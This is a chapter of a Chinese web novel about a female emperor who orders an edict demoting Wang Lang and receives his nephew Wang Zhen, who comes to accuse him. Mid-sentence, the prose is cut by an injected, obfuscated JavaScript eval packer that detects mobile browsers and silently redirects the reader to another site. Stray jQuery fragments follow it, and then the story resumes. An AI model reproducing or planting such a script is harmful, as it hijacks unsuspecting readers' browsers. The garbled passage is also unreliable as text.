123. 王氏

作品:《金华风月[女帝]

    灯花扑闪了一下。


    如期正要上前修剪灯芯,皇帝却摆摆手让她退了,自己掀起灯罩,寻了把剪子修了灯芯。


    那火光便也在她面上摇晃了一下,留下晦暗不明的阴影。


    “清晏。”


    “哎,陛下!”


    清晏本在一边温书,乍听了这一声唬得一跳:“陛下寻臣何事?”


    “说来你如今是舍人,却没做过舍人当做之事。”皇帝笑了笑,“今日便来做上一做。”


    清晏缓缓眨了眨眼睛。


    “拟旨。”


    “啪!”


    孩子手上书掉了。


    清晏瞪着两只眼睛手忙脚乱:“陛下这,这是大事啊,臣……臣这……”


    皇帝好笑,亲自替她捡起书来:“不是什么重要旨意,不过是一道贬官旨,降王琅为监察御史,让他去灏州。”


    啧,怎么又是《孟子》。皇帝见着这两个大字便心烦,索性一抽手将书丢在清晏膝上。


    “灏州不是……”


    皇帝轻声应道:“嗯,端仪便是发配去了灏州。”


    所以才要王琅去灏州。


    “陛下……”


    清晏正要开口,忽而被如期打断:


    “陛下,齐少使在殿外求见。”


    皇帝在书架前翻找东西,随口应道:“今儿又不叫他侍寝,大晚上的见什么见,让他回去。”


    “陛下……这恐怕……”如期犹豫了半晌,一跺脚往前走了几步,轻声道,“少使郎君是来脱簪待罪的……”


    今儿这栖梧宫的外廊是有金子?怎么人人都要来跪个一时半刻的。


    皇帝眉头一皱:“怎么着,他家也谋大逆了?”


    这词是能随便往外蹦的嘛陛下!


    如期愣了片刻才道:“郎君说是来大义灭亲,没有提……提……”


    “嚯,”皇帝总算找着了东西,原来是一封旧圣旨,“是么,朕倒要瞧瞧,他这是来灭哪门子的亲。”


    她随手将手里圣旨一抛,丢给了清晏便往殿外去:“学着拟,贬王琅做灏州监察御史。”


    王桢跪在殿外。


    小郎君只穿了件单衣,披散着头发,直直跪在殿外。


    初春时节,夜风还带几分寒意,凉浸浸的,不住往小郎君身上扑,引得小郎君浑身颤栗,牙关打颤。


    配着一头飘飞青丝,倒很有几分楚楚可怜。


    皇帝抱着手臂瞧了好一会,才往前两步道:“你说是来灭亲,灭哪个亲呢?”


    “臣侍……”王桢半抬起眼睛,蓄了几片泪花才瞧了皇帝一眼便胆怯似的又垂下头去。


    “臣侍只为检举舅父而来。”


    又是王琅。


    王青瑚前二十年做的孽今儿一股脑全报应上来了。


    其实他走到如今地步,何尝不是她的错呢。


    皇帝一路顺着殿前台阶往下看去。天子面南而居,越过宫墙,越过丹凤门,便是前朝的金殿。汉白玉雕的台阶栏杆,只在月下渗出一线灰白暗影。


    她不由叹了一口气:“你要检举他什么呢。”


    王桢猛然叩首:“臣侍家母为舅父王琅所害,臣侍恳请陛下为家母做主!”


    皇帝呼出一口浊气。


    “你今夜来,想必是做足了准备。”她轻声道,“明知王青瑚是先帝侍君,又是前朝按察使,弹劾他,于你不利。”


    王桢往前膝行两步,在皇帝教鞭埋头哭诉道:“可臣侍娘亲为他所害,臣侍身为人子,岂能坐视不理?王琅不孝不悌,毒害亲姊,苛待弟妹,臣侍不敢有所隐瞒!”


    小郎君脊背单薄,在昏暗月光下轻轻颤抖。


    青丝顺着脊线滑落,单衣勾出他脊背形状,纤细,瘦削,修长,脆弱得仿佛一碰即碎。


    王家娘子选了个好儿子啊。


    皇帝出神不过片刻。


    “你起来吧。”她弯腰托起王桢手肘,只见王桢半抬起脸,两只眼睛略闪了一下,又含羞带怯地落下去,不由放软了声音道:“何必如此折损自己身子呢。”


    王桢微微一软身子,半借了皇帝力道便落了一抖,看去更像是受了寒气弱不禁风似的。


    “臣侍自知不该妄议长辈,检举舅父是为男之大不德,想着大罪加身,不敢有多加妆饰。”小郎君轻声道,始终垂着眼帘,不敢多瞧一眼。


    这要是个不知道的,还以为他是个多守规矩的大户郎君呢。


    “可穿这么单薄,真受凉了可怎么好,朕瞧了也难过。”皇帝柔声道,亲解下身上大氅给王桢披上。


    果然是“人要俏,一身孝”,一身单衣外头披上深青缘边大氅更显出他颀长身形,在夜风里很有几分飘然若仙之意。


    小郎君是下了功夫的。


    这么个小郎君微微倾倒身子,泫然欲泣道:“臣侍身为陛下侍君,岂能失礼分毫。左不过是一身贱躯,再行珍重也不过平白污了陛下圣名。”


    任是谁也忍不住心软三分。


    皇帝便道:“你全顾着体贴朕,却忘了自己身子了。”


    她搂着小郎君往殿内去,倒吓得清晏一缩身子,左顾右盼不知如何是好,张皇好一会才见如期从后殿招手,一时福至心灵,端了纸笔随如期快步退去后殿。


    “是陛下替臣侍想着,陛下……”王桢裹在氅衣里,只露出半张脸来瞧皇帝,“陛下别当臣侍是不知礼数就好了。”


    皇帝一拢氅衣衣襟,拖着小郎君倒进怀里:“朕可怎么敢?瞧你脸色也不好,身子又凉,朕心疼还来不及呢。”


    她轻轻覆上王桢双手,摩挲起小郎君指尖来。


    “这样凉,且在此处暖暖身子,朕再命人送你回去好么。”


    王桢全身一僵,木木定在了椅子上。


    “陛下……还请陛下为臣侍娘亲做主!”王桢没空白多大会儿,迅即反应过来,一弯身子跪到皇帝脚边,“臣侍只为娘亲申冤而来,王琅他毒害娘亲!”


    他忙忙从袖中取出一物:“此乃臣侍娘亲病前亲笔书信,王琅在族中侵吞财产、苛待姊妹,更是自臣侍入宫后日日担忧臣侍近身陛下,暗里给娘亲下药,而今娘亲中毒已深,竟已不能人言!”


    “还有陛下、陛下赏赐娘亲的财帛珠宝,也早教王琅夺了去……我们家,早已只剩下一具空壳……!”


    他又哭诉起来了。


    这里头有真的,也有些不知真不真的,皇帝有些耳闻。


    她接了王桢手里那封亲笔


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667051|187853||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    书信,问道:“只这封笔迹?”


    “陛下所赐珍奇也教王琅夺了,只怕便藏在他私宅中!”


    皇帝捏了捏那封书信,或许是真的,或许能做供词。


    但王琅到底是宫里人,何用这些。


    “他于情也算朕半个长辈,要抄他私宅倒不容易了。”皇帝轻轻抚摸小郎君脊背,柔声安抚道,“你说他苛待姊妹,朕专程令长秋监人去查好么?”


    王桢情知此时不能急迫,便见好就收,含泪轻轻点头:“嗯,臣侍听陛下的。”


    “好郎君。”皇帝柔声道,叫人来给王桢披上衣服,又亲自挑了一支长簪替他绾发,吓得王桢一激灵。


    “陛下折煞臣侍……!”


    “这可有何不可呢,”皇帝柔柔扶了他起身,挑起一尾青丝绕在手上,“古有张敞画眉,今有朕为你梳妆,可不好么?”


    小郎君登时熏红了脸,微微垂头道:“臣侍不敢当……僭越了为侍的本分。”


    这一通恩爱戏码下来,清晏在后头只给看得一愣一愣的。


    “陛下……臣……臣要不还是搬去值房里住吧……”


    好不容易等王桢一步三回头地走了,她才敢从后头出来。


    皇帝好笑:“你一个小孩,值房里又阴又潮,住久了也不怕风湿。叫你住这就住这,话那么多呢。”


    “那……您……”清晏看看殿外又看看皇帝,“陛下您还要召公子的……”


    没想着皇帝冷笑一声道:“你说王桢么?王桢算什么东西。”


    到底是谁半刻钟之前还在说张敞画眉啊!


    这才转了几眼呢,怎么就,就,就……


    清晏瞠目结舌,连礼数都忘了,直瞪着皇帝,半句话也说不出来。


    “后宅里的男人,都不过是玩意儿罢了。”皇帝笑道,“他们入宫来总有自己目的。王桢此时觐见,也不过是替他娘姨几个扳倒王琅。王琅这许多年便是借着一个侍君名分压在几个姊妹头上,她们姊妹好不容易才找着一个机会,送了儿子进来,也替了王琅这不知好歹的东西。”


    她顿了顿,才继续道:


    “后宫终究是名利场,话本子里说的真心人,一辈子也难遇上一个。你还小,没到婚配年纪呢,看不明白也属寻常。你当王桢不晓得这逢场作戏么?他心里门儿清着。”


    孩子张口结舌,讷讷半晌总算出来一句:“……大人真虚伪。”


    “你也要成大人的。”皇帝笑,捏了捏清晏脸颊,“不是还想科举入仕么?官场里可比这点戏码虚伪得多了。”


    “可李尚书就……”清晏声音弱下去,“就不是那样人……”


    “所以他被害入狱流放。”皇帝收起笑意,面色登时阴沉下来,“正因为他纯善。”


    清晏怔在原地。


    “——好啦,叫你拟旨,可拟出来了?”皇帝见她吓着,换了副神色道。


    “嗯,嗯……”清晏掏出纸笔,“臣学着拟了一份……”


    皇帝看也没看便道:“明日抄一份发御史台留案,再叫长安与你一道去王琅私宅宣旨。春上御史台交值,他正好在京里等任命。”


    她轻轻摸过清晏脑袋,轻声道:“要做好让端仪回京的准备啊。”